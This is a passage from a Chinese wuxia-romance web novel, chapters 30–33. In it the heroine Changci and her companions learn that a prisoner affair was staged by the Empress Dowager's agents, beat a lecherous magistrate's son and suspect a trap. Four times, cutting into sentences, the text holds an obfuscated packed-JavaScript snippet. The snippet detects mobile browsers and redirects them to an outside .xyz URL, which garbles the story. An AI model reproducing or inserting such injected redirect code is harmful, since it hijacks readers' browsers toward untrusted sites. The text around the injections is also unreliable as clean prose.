正想着,就见姜云拿着刚在河边洗过的手帕走过来,疑惑地看了看正在跺脚的江入年,又看看渐行渐远的那队人马,问道:“方才经过的是什么人?” “朝廷押运的囚犯。”长辞一言概之。 她既没有透露曾在石塔见过囚车上那女人的事,也没有要怀疑姜云的意思,只状似不经意问道:“姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132173|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,你有没有带治伤的膏药?就是味道其臭无比,但效果很快的那个。” 姜云“啊”了一声,忙放下手帕从怀里掏出一个小瓷瓶,“你受伤了吗?哪里呀,快让我看看。” 长辞笑嘻嘻摆手,“我没受伤。”说罢又一指江入年,“是有人要行侠仗义去劫囚车,我寻思着你先给他备上点。” 江入年哪敢劫禁军,听罢连忙摇头,“我没……” “好的,我这就去取。” “不是……” “咦,你没带那种见效很快的吗?”长辞接过姜云手中的瓷瓶,打开闻了闻,都没什么味儿。 江入年挤到她俩中间,“不是,我没有要去……” “那种药膏已经用完了。”姜云想起什么似的,微不可察地皱了下眉头,又转身拿出一个包袱。 “有没有人先听我说!”江入年话没说完,就见姜云摊开包袱,一脸认真地看着他道:“江小公子,一共十二瓶,你看够吗?” “够、够……了。” 说着眼神幽怨地看向长辞,要你多管闲事!长辞心思却没在这一包袱大大小小的瓷瓶上,而是问,“那药膏前几日我见还有好几瓶,怎么一下子就用完了?” 给谁用了? 姜云本不愿提起那些后院的琐事,可既然长辞问起,她便如实答道:“王爷说柳妃不慎划伤了手臂,让人将药全取走了。” “什么!?”还要不要点脸了?长辞撸起袖子,恨不得瞬移回宁王府跟宁王干一架。 人家辛辛苦苦制成的药,凭什么说给她就给她了,“她柳庭月是天王老子还是玉帝老爷,宁王怎么就那么供着她!” 姜云看她张牙舞爪仿若要吃人,赶忙帮她顺气儿,“好了好了,别气了,给她就给她吧,我这儿还有不少别的。” 长辞一手叉腰一手扶额,“等等,你的意思是……你制成的那个药膏,现在悉数都在柳庭月那儿?” 姜云懵懵地点了点头,不知道长辞为什么又要再问一遍,心说方才不是都说了么,是被柳妃都拿走了。 柳庭月、柳庭月……流月! 长辞猛地抬头,会不会那日在石塔外是张行简听差了,那女人喊的不是“流月”,而是柳庭月!不会吧?!长辞觉得自己好像发现了什么不得了的秘密。 她在这头嘀嘀咕咕好半晌,那头张行简却是一脸懵怔,什么州衙门口敲鸣冤鼓的女人,他没见着,只听长辞他们提起过,什么见效奇快的膏药,他也不知晓,他们在说什么,这两者之间有什么关联吗? 于是一脸焦急看看这个,又看看那个,“那囚车上的妇人犯的是什么罪?到底是不是被冤的?” 江入年一脸正义,“哎呀!她一个手无缚鸡之力的妇人,能犯上什么让禁军出面的大罪?肯定是冤枉呀。” 长辞却是一脸看戏的表情。她直觉庄慕怀知道点什么,但碍于什么原因不好明说。 于是眼珠一转,开始给张行简拱火,“那妇人当日跪在州衙门口哭的死去活来,肠子都要哭断了,哪儿能作假?我觉得江入年说的不错,她一定是得罪了什么大人物,才被随便安了个罪名给抓起来了。” 江入年在一旁连连点头,郑重道:“嗯!” 30. 第 30 章 庄慕怀不知何时移到长辞身侧,就这么明晃晃地打量她。 他敢肯定,眼前这个整日嘻嘻哈哈的疯丫头绝对不简单。可是查了这么久,关于她重伤昏倒在大敖山脚之前的事,还是一点蛛丝马迹都查不到。难不成她真有什么通天的本领,可以抹去过去所发生的一切? 庄慕怀似笑非笑,低头附在她耳畔直白道:“如此唯恐天下不乱,你究竟有什么目的?” 长辞察觉到投向自己的这道目光锐利又充满探究,心说我能有什么目的,当然是看热闹呗。 面上却装作没听到一般,只满脸忧心地看着张、江二人,“哎呀”一声,说道:“只怕那妇人此去凶多吉少啊……” “是啊。”江入年忧心忡忡地附和。 “那怎么行!” 张行简第一个不同意,“杀人者枉顾律法,逍遥法外,受害者却要被施加罪行,这是哪朝哪代的道理!如此行径乃是在抹黑我大宋官员的名声,更是陷我大宋律法于虚设。若各个官员都去学那薛通,以后何人还会守着律例规则办事,何人还会对大宋朝堂报之信任?此事看似只是一桩命案,实则关乎着整个大宋江山社稷之稳啊。” 眼看话头越扯越深,就要收不住了,那头江入年还摩拳擦掌的准备去劫囚车。庄慕怀叹了口气,心道这疯丫头故意挖个坑,就等着自己收场呢。 “行了行了,都别闹了。”庄慕怀觉得心累,这都一群什么人啊,痴的痴,傻的傻,还有一个看热闹不嫌事大的。 另一边江入年还是不死心,从马车上翻出一件黑色衣裳,看向庄慕怀的眼神十分英勇。 “哥,我们去劫囚车吧!” 庄慕怀真是要被这个英勇的蠢货给蠢哭了,指尖抚在额间揉了揉,“行了,别添乱了。实话告诉你吧,囚车上那几个都不是什么普通老百姓。” 原本这些话庄慕怀不想说,也不能说,可眼前这几个人……他视线将其一一扫过,除了姜妃,就没有一个省油的灯。他怕再不说出实情,江入年这家伙真的会为了千古垂名,伙同张行简一起去劫囚车。 要是只有他们俩倒也翻不出什么浪来,怕就怕……庄慕怀瞥了一眼坐在车尾吃糕点那人,就怕他们说通这疯丫头一起,到时候难免要把事情闹大。 “不是普通百姓?那他们是谁啊?”长辞眨眨眼,洗耳恭听。 庄慕怀看着这个兴风作浪者,有时也不知道该拿她怎么办才好,打又打不过,想气也气不太起来,只能深吸一口气道:“他们是太后的人。” “太后?!” 江入年陡然睁大双眼,嘴巴合都合不拢。长辞好心帮他将下巴往上一台,听见张行简问,“太后怎会授意他们到州衙门口闹事?” “你刚才不是已经说过原因了吗?”庄慕怀眸光一沉。 朝代更迭,朋党争斗,来来回回就是这点子事。张行简阅遍古今多少史事,脑子稍一回转便明白了过来,这是要故意污蔑朝廷,离间官府与民众,让百姓对刚刚建立起的新朝失去信任。 “这么说来,此事之前在昇州城闹得沸沸扬扬,全都是假象?” 根本就没有所谓的下放大官当街杀人一事,也没有官大压人、欺压百姓之说,更没有那日书生所说的“州衙官官相护,惨妇申冤无门”。 庄慕怀冷哼一声,“何止是昇州,江南三州十六县,以及江北各县,凡是有从汴京新派来接替军防政务的官员所在地,全都上演了这么一出好戏。” “那城外流民也都是假的了?”张行简有些口干。 “不是,他们确实是从岭南逃难过来的,只不过太后的人混迹其中,借此起事而已。” 那就好,张行简攥着干瘪的荷包心道,银子没白花就好。 江入年不解,“做这些事有什么意义?只不过是让百姓凭白看了一场热闹,权力交割在府衙,又不在闹市,就算百姓误会新来的父母官杀了人,也没有什么影响吧,难不成太后是指望着百姓干政,还是指望百姓替她夺权啊?” “若仅仅只是一州,自然是掀不起什么风浪。”张行简已然明白了这里面的玄机,说道: “可若是多个州县皆传出新地方官藐视律法、当街行凶之事,百姓心中作何感想?八十年战乱争伐,新朝建立尚不足一载,各州百姓本就对新朝持观望态度,若此时舆论四起,后果将会如何?” 江入年心直口快,“那就张贴告示,再不然就让衙役上大街宣传,黑的变不成白的,白的自然也不能被抹成黑的,这点事儿总能解释清楚吧。” “你确定?”庄慕怀冷笑道,“没有证据,空口无凭谁会信你?” “当初那些死士在众目睽睽之下制造被杀的假象,不少人都亲眼所见,这杀人是真,尸体也是真,要真是这么容易解释清楚,朝廷也不至于不正面回应,而是私下悄然押运犯人回京了。” “供词呢?有供词也不行吗?” “没听说过屈打成招吗?”庄慕怀道。 说罢又指了指张行简,“各州若在没有充分证据的情况下贸然抓人,就会涌出许多如他一般自诩‘正义之士’的人,大肆妄议朝廷,认为死者分明就是含冤而死,而家属状告无门反被诬陷,一张三寸不烂之舌将白的也能给你说成黑的。” 张行简讪讪,“……” 庄慕怀又一指长辞,“又或是涌现出犹如她这种看热闹不嫌事大的,州衙不回应,她觉得人家心里有鬼,州衙回应了,她又会觉得人家欲盖弥彰,左右好赖话全叫她给说了。” 长辞:“……” 庄慕怀被她挖了一眼也没回应,而是接着对江入年道:“再比如像你这样的蠢货……” 江入年委屈巴巴,怎么到他这儿侮辱性一下子就加强了这么多。 “不分青红皂白,上来就要喊打喊杀,被那些乔装成妇人的暗卫一扇风,你就上杆子地去点火。” 说的有些口渴了,庄慕怀拿起水壶仰头喝了两大口,“正因如此,你觉得此事还敢大张旗鼓地闹吗?只能默不作声地往下压了。” 自古防民之口甚于防川,太后这招真够狠的。 她被夺权之后,虽不满今上即位,却因实力悬殊明着不敢说什么,背地里的小动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135808|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作却没有断过。这些涉及权力之争的事情本不该告诉他们,知道越多死的越快这个道理,对任何人都不例外。 “今日之事,你们要是敢说出去……” 话音还未落,就见其余三人连忙识趣地点头:“不敢,不敢!” 庄慕怀又将视线移至姜妃身上,姜云压根没注意到他正在等自己表态,只把随行的东西都收拾停当之后,用帕子擦了擦手,走过来道:“天色不早了,我们还是赶紧启程吧,再晚就赶不到下一个镇子上了。” 说着率先进了马车。 庄慕怀略感欣慰,至少还有一个是省心的。 …… 马车一路南行了十几日,终于到了芦陵地界。 这里是芦陵的一个县,因地势原因本就比昇州炎热不少,如今又到了夏季,闷如蒸笼,对于长途跋涉的赶路人来说还真是件苦差事。 江入年累地走不动道,吐着舌头叫苦不迭。 他抱着客栈房门不走,其他人也只好随他在此歇息一日。好在江入年财大气粗,当初在昇州城买的几匹马儿都是上乘的金翼飞马,行起路来速度极快,这才将同去寻宝的那群人远远地甩在了后头。 若非如此,长辞才不会同意他在此地耽搁,就是生拉硬拽都要给他拽到归云阁去。 姜云一如既往地热衷于打扮长辞,现下天气闷热,便给长辞换了一套轻便的轻纱罗衣,通身水色,纱制的腰带系在一侧,随着步伐一晃一晃,灵动又飒爽,让人见了忍不住多看几眼。 长辞坐在酒楼,恶狠狠地将四周盯着她看的人都瞪了回去,这才心满意足地给自己倒了一盏茶细细品着。 姜云连日奔波身体有些不适,没有下楼用膳,而一旁江入年正热火朝天地跟张行简讨论那本即将横空出世的少侠自传,忙得不亦乐乎。 因此—— 长辞闲的只能跟对面的庄慕怀大眼瞪小眼。两人平日里打闹惯了,这冷不丁静下来,一时间还都有点不适应。 “你……”两人同时开口。 “你先说。” “你先说。” 随即又同时住嘴。庄慕怀没忍住笑了一声,手臂撑在桌沿上直勾勾地看她,眼底溢出一抹耐人寻味的神情。 长辞叫他看的有点心慌,伸长腿在桌下踩了庄慕怀一脚,疼得庄慕怀“嘶”了一声,皱眉道:“你个疯丫头,我又怎么着你了?” 长辞挠挠后脑勺,一脸无辜,“不知道,一天不打你就总觉得浑身不得劲儿。” 庄慕怀咬牙切齿,“那你现在得劲儿了?”听罢长辞认真感受了下,笑眯眯点头,“嗯,舒坦多了。” 庄慕怀愤愤地深吸一口气,伸展伸展被踩疼的那只脚,决定大人不记小人过,不跟这疯丫头一般计较。 末了不仅不气,反而起身坐在长辞身侧,挑眉道:“人家都说喜欢一个人的时候,就会想方设法引起他的注意,你该不会是喜欢我吧?” 长辞摇了摇头,“我只是觉得……” “嗯,你说。” “你真贱!” “……” 31. 第 31 章 那人听罢低头不语,鬓角的碎发稍稍盖住了他的神情,长辞眼皮一跳,心说不至于吧,这就生气了?于是扒着桌沿探出半个身子去瞧。 谁知她刚一靠近,庄慕怀猛然侧身拉近了两人之间的距离,擦着她的耳尖低语,“我怎么感觉你挺口是心非的?要是不喜欢我,那你脸红什么?” 温热的气息缠绕在耳畔,长辞被这低沉的嗓音弄得心痒痒,正要抬手揍他,又觉得此时揍了他,不就正中了装不坏这家伙的下怀,他肯定又要说自己是被人拆穿了心思恼羞成怒。 于是嘴角一扬,拉过庄慕怀的手掌十指相扣。 “慕怀哥哥,实不相瞒,从你在石塔下接住我的那一刻起,我就无法自拔地钟情于你了,你既已知晓我的心意,想必是会对我负责的吧?” 庄慕怀方才只是为了报那一脚之仇,哪想她直接反客为主,顿时叫那只温软的手勾得分不清东南西北,身子一僵,下意识道:“我、我自然会负责。” “!”一旁江入年两人手上动作一顿,皆竖起耳朵仔细聆听。 “怎么负责?要不送我个定情信物?呐,我看你这只玉笛就不错,不然就送给我吧……”说着就上手往庄慕怀腰间摸去。 纤白玉指刚一搭上他腰窝,庄慕怀立马跳到一旁,“我还有事,回见!” 长辞盯着他落荒而逃的背影撇了撇嘴,心说小气鬼,我又没真想要你那个宝贝玉笛。张行简见这两人只是说笑不似谈情说爱,摇了摇头,又埋着头去看自己的杰作了。 唯有江入年盯着表哥的背影,心道完了完了!表哥这反应一看就是真喜欢上长辞了,怎么办?他可不想要一个疯女人当表嫂啊! 正想着——忽然,一串“哗啦”的重物落地声打断了他的思绪。 众人闻声看去,原是隔壁有人一怒之下掀了桌子。 那人瞧着也就不到二十岁,脖挂金项圈,腰间佩白玉,一看就是自小养尊处优被人捧惯了的。他身后还跟着两个随从,一个拿着折扇给他扇风,一个端着瓜果玉盘小心侍候。 只见他捏了颗葡萄塞进嘴里,随后将籽儿吐到一旁的老汉脸上。双手叉腰,恶狠狠道:“老东西!本公子你都敢阴?知道我是谁吗?!” 那老汉佝偻着腰,战战兢兢地回话,“这位公子,我真没骗人,这些山货真是我花了大半个月才得来的,收您一两真不算贵,您若不信,我卖给别人就是了……” “嘿!你这话什么意思?瞧不起我是不是?” “不是不是……”老汉连连摇头,一脑门的官司。 “你这玩意儿我看也就值十文钱,可你既然收了整整一两银子,那不得再偿点什么啊……”说着双眼放光地盯着老汉身后一个十三四岁的小姑娘,一把将她拽到自己跟前,色眯眯摸了摸那吹弹可破的肌肤。 “我瞧这丫头不错,做个填房正好,本公子大发慈悲再给你三两银子,将这些山货和这丫头一起收了。” 老汉听罢大惊失色,连连跪地求饶,“不可啊公子,万万不可啊,小女年龄尚小,怎能、怎能……” 那两个随从露出猥琐笑容,一唱一和道:“年龄小?哎你说巧不巧,我们家少爷还就好这口哈哈哈。” “就是,能看上你个山野丫头,那是你家祖坟冒青烟了知不知道?”另一人一脚踹开正伸长手臂着想去抢回闺女的老汉,“少他娘的得了便宜还卖乖!” 老汉闻声摔在一堆桌椅上,只听“刺啦”一声,原本就破破烂烂的布衣此刻变得更加破败不堪。 长辞真是服了,怎么哪哪儿都能碰见这种畜生!刚一拍桌子,还没开口,就见江入年已经急哄哄地冲了出去。 “住手!放开那个姑娘!” “你谁啊?” 江入年身姿挺拔,拔剑道:“本少侠行不更名坐不改姓,天下第一山庄少庄主——江入年。” 四周食客议论纷纷,“谁啊这是?” “不知道,没听过。” “县令公子都敢惹,想必是个低调的绝世高手吧。” “那太好了,这个姑娘有救了……” 长辞单手支着下巴,心道这话本里的经典桥段也算是被他给演上了,正要为他喝彩,却不想那随从竟是个武功不低的,不等江入年伸手抓住那姑娘,就一掌将其挥退了好几尺,眼见江入年就要撞在身后的柱子上,长辞急忙化了一股掌风将其接住。 杏眼微扬,拍拍他肩膀道:“闪一边去。” 江入年揉揉胸口乖乖躲在里柱子后,听那什么县令公子轻佻道:“呦,又来个小娘子,今儿个是怎么了,连上天都来眷顾本公子了,小娘子,陪我一起玩玩啊?” “行啊。”长辞歪着头,天真一笑。 边笑边用余光扫过那俩随从,疑心道,一个偏远小县令的公子,怎么有本事请来这种武功不低内力不凡的人做随从?且这俩随从看着对他还挺忠诚。 “爽快!”县令公子大手一挥,朝手下道:“还不快给姑娘看座!” “坐就不必了。”长辞肩膀一沉,暗里聚起一团气来。 “怎么,不给我们少爷面子?”一个随从抖着腿挑事。 另一个附和道,“你算个什么东西,我们少爷让你坐你敢不坐?!” 话音甫落,只听“呼呼”掌风如聚,长辞衣袂翻飞,紧接着那两个随从便被这道掌风给弹飞了出去,穿过窗牖,在空中划过一道完美的弧线,随后“扑通、扑通”摔入了后院的酒缸里。 江入年瞠目结舌,盯着窗边断裂的栏杆和窗户上破着的大洞,眼睛都不敢眨一下,愣愣道:“大、大侠!” 那县令公子怕是比江入年还心惊,简直难以置信方才那一幕竟是眼前这小丫头干的,见她一脸无辜地走来,顿时又觉得肯定是自己看走眼了,一个小姑娘哪里会有那么大的力气。 长辞看他将那孩子手腕拽得通红,敛了笑意,微微有些不耐烦,“松开!” “你谁啊,你让我松我就松……”周围这么多人看着,被个女子申斥了算怎么回事,县令公子梗着脖子强壮镇定道: “死丫头!知道我是谁……” “啪!”话还没说话,凭空就扇过来一巴掌,打得他在原地直转圈儿。 “你竟然敢打我!不知死活的东西,快来人……” 啪!又是一巴掌。 “你你你……”两巴掌下去,县令公子被打的晕头转向,捂着半边脸四处喊人。 啪啪啪!长辞数掌齐发,将他左右脸抽得一般肿了这才停下手,揉了揉有些酸胀的手腕,笑嘻嘻看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141038|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“知道我刚才为什么不连你一起拍飞吗?” 县令公子蹲在墙角,颤颤巍巍地回话,“不、不知……” “当然是觉得你长得还算不错呀,皮细肉嫩的……唉,实在是于心不忍。” 楼上正在看热闹的庄慕怀倪了那人一眼,眉头轻蹙,这一脸小白脸相哪里好看了! 被当作小白脸的县令公子可不这么想,一听这话,心说这不是摆明了夸自己的吗?这小娘子看着年龄不大,没想到还挺会玩,于是眼神一亮,捧着自己的猪头,挺直脖颈作出一副翩然君子姿态。 站起身来清了清嗓子,“本公子乃是吉川县县令之子祝麒麟,自小便生的风流倜傥,玉树临风。女侠真是好眼光,不如赏脸府上一叙如何?” 说着就要上前去拉那一双白嫩嫩的玉手……庄慕怀眉头一压,伸手就要摸腰间玉笛。 只是还不等他动手,那边又是响彻天际的一声耳光。 长辞一脚踩在凳子上,一手叉腰,“给你脸了是吧?!也不撒泡尿照照镜子自己是个什么德行,就你现在这副猪头样,给你配一头母猪都是对那头母猪的大不敬!” 呜呜呜猪头脸难道不是被你打的吗……县令公子敢怒不敢言,又重新躲回了墙角,一脸欲哭无泪,小心翼翼地赔不是。 “女侠饶命,小人凡夫俗子,不该染指女侠风姿。” 长辞抬手又是一巴掌,“闭嘴,最烦别人叫我女侠!” 县令公子快崩溃了,抱头涕泗横流,“别打了,别打了,我真的知道错了。” “行,那你说说我是谁?” “女……仙女?” “仙你个头!”长辞拎起他的衣领,一掌将其拍出门外,吸了吸鼻子道:“老子是阎王!” 庄慕怀眉毛轻佻,得,还真一点没说错。 且说那县令公子被扔出门外,偏巧不巧就砸到了正在赶来的祝县令等一干人。长辞见状,对一旁江入年使了个眼色,江入年忙带着老汉与那哭哭啼啼的小姑娘往后门走了。 前脚刚走,后脚持刀衙役就涌进了楼内,一时间吓得看热闹的食客门纷纷逃窜,连酒菜钱都顾不得付了,店掌柜见状急的团团转,有心想将一干损失全都算到那惹事的丫头头上,可又实在害怕自己也被她打成猪头。 长辞看出了他的心思,从身后拍拍他肩膀,指了指后门方向,“方才那个江小公子看到没?你的损失悉数记在他头上就行。” “真、真的?”掌柜的半信半疑。 “那还有假?”长辞自信道:“我们天下第一山庄,有的是钱!” 掌柜的一看这姑娘是个爽快人,顿时也就对她没了防备,避开衙役小声道:“姑娘要不要跑路?客栈后面有暗道。” “跑什么?” 县令都来了还不跑?这姑娘还真是心大哦。 不过此刻想跑也没那么容易了,因为县令已经带着师爷一干人将此地团团围住了。店掌柜心有余而力不足,以袖遮面悄然退了下去。 庄慕怀迅速下楼,半个身子挡在长辞前面,张行简也收了手稿匆匆走来站在她一侧,低声道:“别怕。” 长辞我行我素惯了,自己闯了祸绝不可能让别人给自己善后,一手抓一个将他们甩到身后,“别多管闲事。” 32. 第 32 章 说罢双手交叉抱在胸前打量起这位吉川县令。这人瞧着五十来岁,是个乔文假醋的文人做派,也不知他实际为人如何,反正面上端的是一派正气。 还没等祝县令开口,那个被打成猪头的县令公子就先跳出来道:“爹!就是这个死丫头下的狠手!快让人抓住他们,关进大牢!治他一个杀人的罪名,您看看都给我打成什么样子了……” 正说着,就听“啪”地一巴掌,又落在了“猪头”脸上。 庄慕怀与张行简下意识看向长辞,长辞无辜地抬起手,“不是我。” 几人又齐齐看向县令,只听他呵斥道:“混账东西!瞧你干的龌龊事,打你都是轻的,还不快滚!” 说完转过身,又立刻换上了一副赔罪的笑脸,看向屋内这几位,“犬子顽劣叫几位受了惊,此事实在是老夫教导无方之过,几位不如到府上吃点茶盏,修整一番压压惊。” 竟不是来兴师问罪的? 不应该啊。从方才的情形来看,县令公子大闹当地第一大客栈,周遭却鸦雀无声无一人敢出面制止,连店掌柜都未曾劝说一二,足以证明这人平日嚣张跋扈到了何种地步,而他身无武力傍身却能如此跋扈,想也知道背后肯定有这位祝县令的纵容之“功”。 既如此,她方才那般“欺辱”县令公子,这位祝县令竟丝不怒? 长辞心下疑虑,嘴上却道:“压惊就不必了,好好管教你儿子才是要事。”她看上去十足认真,语重心长地劝道,“今日好在是碰上了我这个弱女子,才饶他一条命,倘若他日遇上什么十恶不赦之人,那贵公子的命保不保得住可就难说了。” “是是是,姑娘提醒的是。” 庄慕怀忍着笑,侧身看张行简,“她是不是对弱女子这个词有什么执念?” 张行简一本正经道:“不是执念,她是真的觉得自己只是一个弱女子。” “……” 祝县令环视一周后视线又转向庄慕怀,恭敬地拱着手,“那庄公子可否赏光……” 长辞一拍桌子:“都说了不去,还问什么问!” “……”县令讪讪道:“我这次问的是庄公子,不是、不是姑娘您……” 哦,误会了。长辞乖乖闭上嘴巴退到庄慕怀身后。 庄慕怀拍她脑门,也不知道为什么,他就是特别爱看这人风风火火张牙舞爪的模样,杀人也好,吃瘪也罢,反正就觉得这丫头跟别人不一样,只要有她在的地方就好生热闹。 庄慕怀偶尔也会蹦出一个奇怪的念头——要是能和她一直如此打打闹闹下去,那往后的日子是不是……就能有些盼头? “庄公子?” 庄慕怀陡然回神,视线从长辞身上移开,淡淡略过对面之人,“你认识我?” “实不相瞒,世宗薨逝时曾有幸在汴京见过公子一面。”祝县令埋着头,态度愈发恭敬,“近日听闻公子前往归云阁赴宴途经吉川县,下官特地赶来迎接,却不想犬子顽劣冲撞了公子的朋友,可真是……” “还望庄公子大人有大量,承了下官这设宴赔罪之情。” 庄慕怀瞳孔微沉,虽说这也不是什么秘密,可他一个吉川县的小县令,哪里得来的消息知晓自己要去归云阁?且还这么准时。 何况—— “进入芦陵地界之后,往左可经吉川县去往归云阁,右过钱安县同样能抵达归云阁,两地用时、脚力相差无几,你怎么知道我就一定会走吉川县这条路?” 他们既定的路线除了同行五人知晓之外,就只有江入年临时找来的两个车夫……不对,还有一人—— 宁王。 祝县令一拍脑门,“瞧下官这记性,是宁王特意来信说您本月会经过敝处,托下官照拂一二……” “原来如此。”庄慕怀懒懒散散的,叫人不看分明他的情绪,只做了个“请”的姿势,“那就恭敬不如从命了。” 祝县令忙让出一条路,道:“庄公子请。” 几人走在前头,祝县令等一干人跟在几尺之外。长辞背着手往身后看了一眼,回头朝身侧道:“你真信是宁王写信告知他你的行踪?” 庄慕怀不点头也不摇头,依他对宁王的了解,那人绝不会做这种无聊事,可万事都有例外,万一人家实际上想让县令照拂的人是姜妃,只是碍于面子没有明说呢?既然说不准,不如前去瞧瞧,看看他们究竟要耍什么花样。 长辞倒不介意到县令府上走一遭,一副看热闹不嫌事大的神情问庄慕怀,“你觉得是宁王有事瞒着你,还是县令在胡说八道?” “不如您纡尊降贵,替在下分析分析?”庄慕怀满眼恭维。 长辞耸耸肩,“我怎么会知道?” “你这么能耐,还有你不知道的事?” “说就说。”长辞眼珠一转,低声道:“我觉得有人要害你。” “何以见得?” “你想啊……”长辞下意识往庄慕怀跟前靠了靠,两人衣袖擦着衣袖,从背后看起来像极了是依偎在一起。 庄慕怀心情还算不错,微微侧过身子俯耳听她说话。 “若真是宁王写信托他照拂你,那为何不在出发时就向你言明?亦或是直接让你拿着他的拜帖去县令府上,如此不是更简单?还绕什么弯子写信啊,况且一个是王爷,一个是小县令,你觉得这身份往来合适么?” “所以我觉得八成是县令说谎。”长辞托着下巴陷入沉思,“不过要是县令说谎的话……那事情就有些复杂了。他背后之人是谁?因何要害你?如何害你?这些你统统不知。” 说罢双掌一拍叹息道,“你在明,人家在暗,局势危矣啊!” “会不会是你想多了?”庄慕怀抻了抻脖子,“就不能是我的大名如雷贯耳,吉川县令邀我入府只为一睹我的雄姿?” “噗!”长辞刚从腰间摸出水壶喝了一口,还没来得及下咽,听到“雄姿”二字瞬间就喷了出来,刚好喷在正凑过来的张行简脸上。 张行简:“……” 默默用袖口擦了擦脸,张行简其实也察觉出哪里不对劲。 “昨日抵达吉安县时我就发现,这里的百姓很少有人知晓归云阁是何门派,更没人知晓大敖山宝物现世一事,我问了好几个当地人,他们都说近几月根本没听说哪里发生过地动。这倒是奇了,按说此地距大敖山不足百里,月前若大敖山发生地动,这里不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150277|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉不到。” 不待庄慕怀说话,他接着又道:“大敖山位于两国边境,就算突发地动生出什么异象,最先得知情况的也应该是据此最近的芦陵一带,接着由近至远合该是昇州、扬州、江宁等地,之后才应该传入汴京。” “可实际上此事却是汴京最早炸开了锅,反而越接近大敖山,知晓此事的人越少了,这种感觉很像……” “很像有人在背后操纵这一切。”庄慕怀目光沉沉,接过话道:“就好像这消息该让谁知晓,什么时候知晓,都在那人的成算之内。” 张行简连连点头。 “所以你怀疑大敖山宝物一事是有人放出来的假消息?”长辞暗叫一声,别啊!我还要借那个什么神石日晷的神力回家呢! “是真是假我不清楚,但至少可以肯定的是,‘大敖山地动,震出王陵宝物’这一事件,应该不是近月才发生的。” “怎么会?”张行简吃惊,“不就是因为归云阁发了柬邀各路英雄豪杰的贴子后,大敖山突发地动使得宝物尽现,这才引得人们哄抢宴帖、纷纷前往吗?难道‘宝物现世’是假,归云阁为了壮大声势故意搞出来一个噱头才是真?” “一个小门小派,哪有本事在汴京城搞出那么大的动静?”庄慕怀“嗤”了一声,“他们怕也只是给别人当了垫脚石。” “哎呀你都把我搞糊涂了!”长辞抖抖脑袋,“到底什么跟什么呀?” “没猜错的话,应该是有人在做局。”庄慕怀低声道:“那人想利用此次诸路人士齐聚大敖山这一机会,达到某些不可告人的目的。” “什么目的?” 庄慕怀漆黑的眸子闪了闪,在长辞的期许中吐出三个字,“不知道。” “……”搞了半天原来是在瞎猜!长辞心说可吓死我了,事关自己到底能不能回家,她又问道:“那大敖山的三大宝物到底是不是真的啊?” “真真假假,只有亲眼见过了才知道。”庄慕怀意味深长地看了长辞一眼,“怎么,你好像很担心啊?” “我、我当然担心了。要是假的那我们岂不是白跑一趟?”说着话头一转,“反倒是你,话都说到了这个份上……你还觉得那县令是为了一睹你的雄姿才邀你入府么?” 庄慕怀嘴硬道:“这谁说的准。” “要是他动机不纯怎么办,我们还要去县令府吗?”张行简小声问。 长辞一指庄慕怀,“去呀,我们庄大公子何许人也?当然是明知山有虎,偏向虎山行喽。” “过奖过奖。”庄慕怀乐呵呵看她,“还不都是跟你学的。” 长辞知道他这是在含沙射影宁王府设宴那晚,她明知柳庭月不怀好意还非要钻进她的圈套里,一时也反驳不上来,就朝庄慕怀做了个鬼脸。 忧心忡忡的张行简一看这两人完全不将此行当回事,顿时就更警惕了,心道到底都比他小了几岁,行事一点都不稳重。这个吉川县虽说不上来哪里古怪,可是其言谈举止也确实惹人怀疑,看来只能靠他一个人戒备了,万一出了什么事,他也好力挽狂澜。 谁知接下来,还真发生了奇怪的事情—— 明知山有虎,偏向虎山行 33. 第 33 章 照常理说,如果有人要对他们对手的话,那夜里一定是最佳绝机,可是他们进了府邸,听过琴曲,用过晚膳,又小住了一夜,直到第二日辰时庄慕怀前去辞行时,那暗中之人却还是没有向他们动手! 奇不奇怪?! 庄慕怀问:“奇怪在哪儿?” “什么都没发生,这还不够奇怪吗?”长辞吃惊,装不坏竟然不觉得这一切都很反常? 